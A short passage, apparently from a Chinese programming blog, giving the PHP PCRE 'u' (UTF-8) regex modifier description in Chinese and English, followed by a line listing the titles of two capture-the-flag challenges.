外部的/J设置会产生错误.) u (PCRE8) 此修正符打开一个与perl不兼容的附加功能. 模式字符串被认为是utf-8的. 这个修饰符 从unix版php 4.1.0或更高, win32版php 4.2.3开始可用. php 4.3.5开始检查模式的utf-8合法性. This modifier turns on additional functionality of PCRE that is incompatible with Perl. Pattern strings are treated as UTF-8. This modifier is available from PHP 4.1.0 or greater on Unix and from PHP 4.2.3 on win32. UTF-8 validity of the pattern is checked since PHP 4.3.5.
应该留点心的赛题 [GYCTF2020]FlaskApp [安洵杯 2019]easy_serialize_php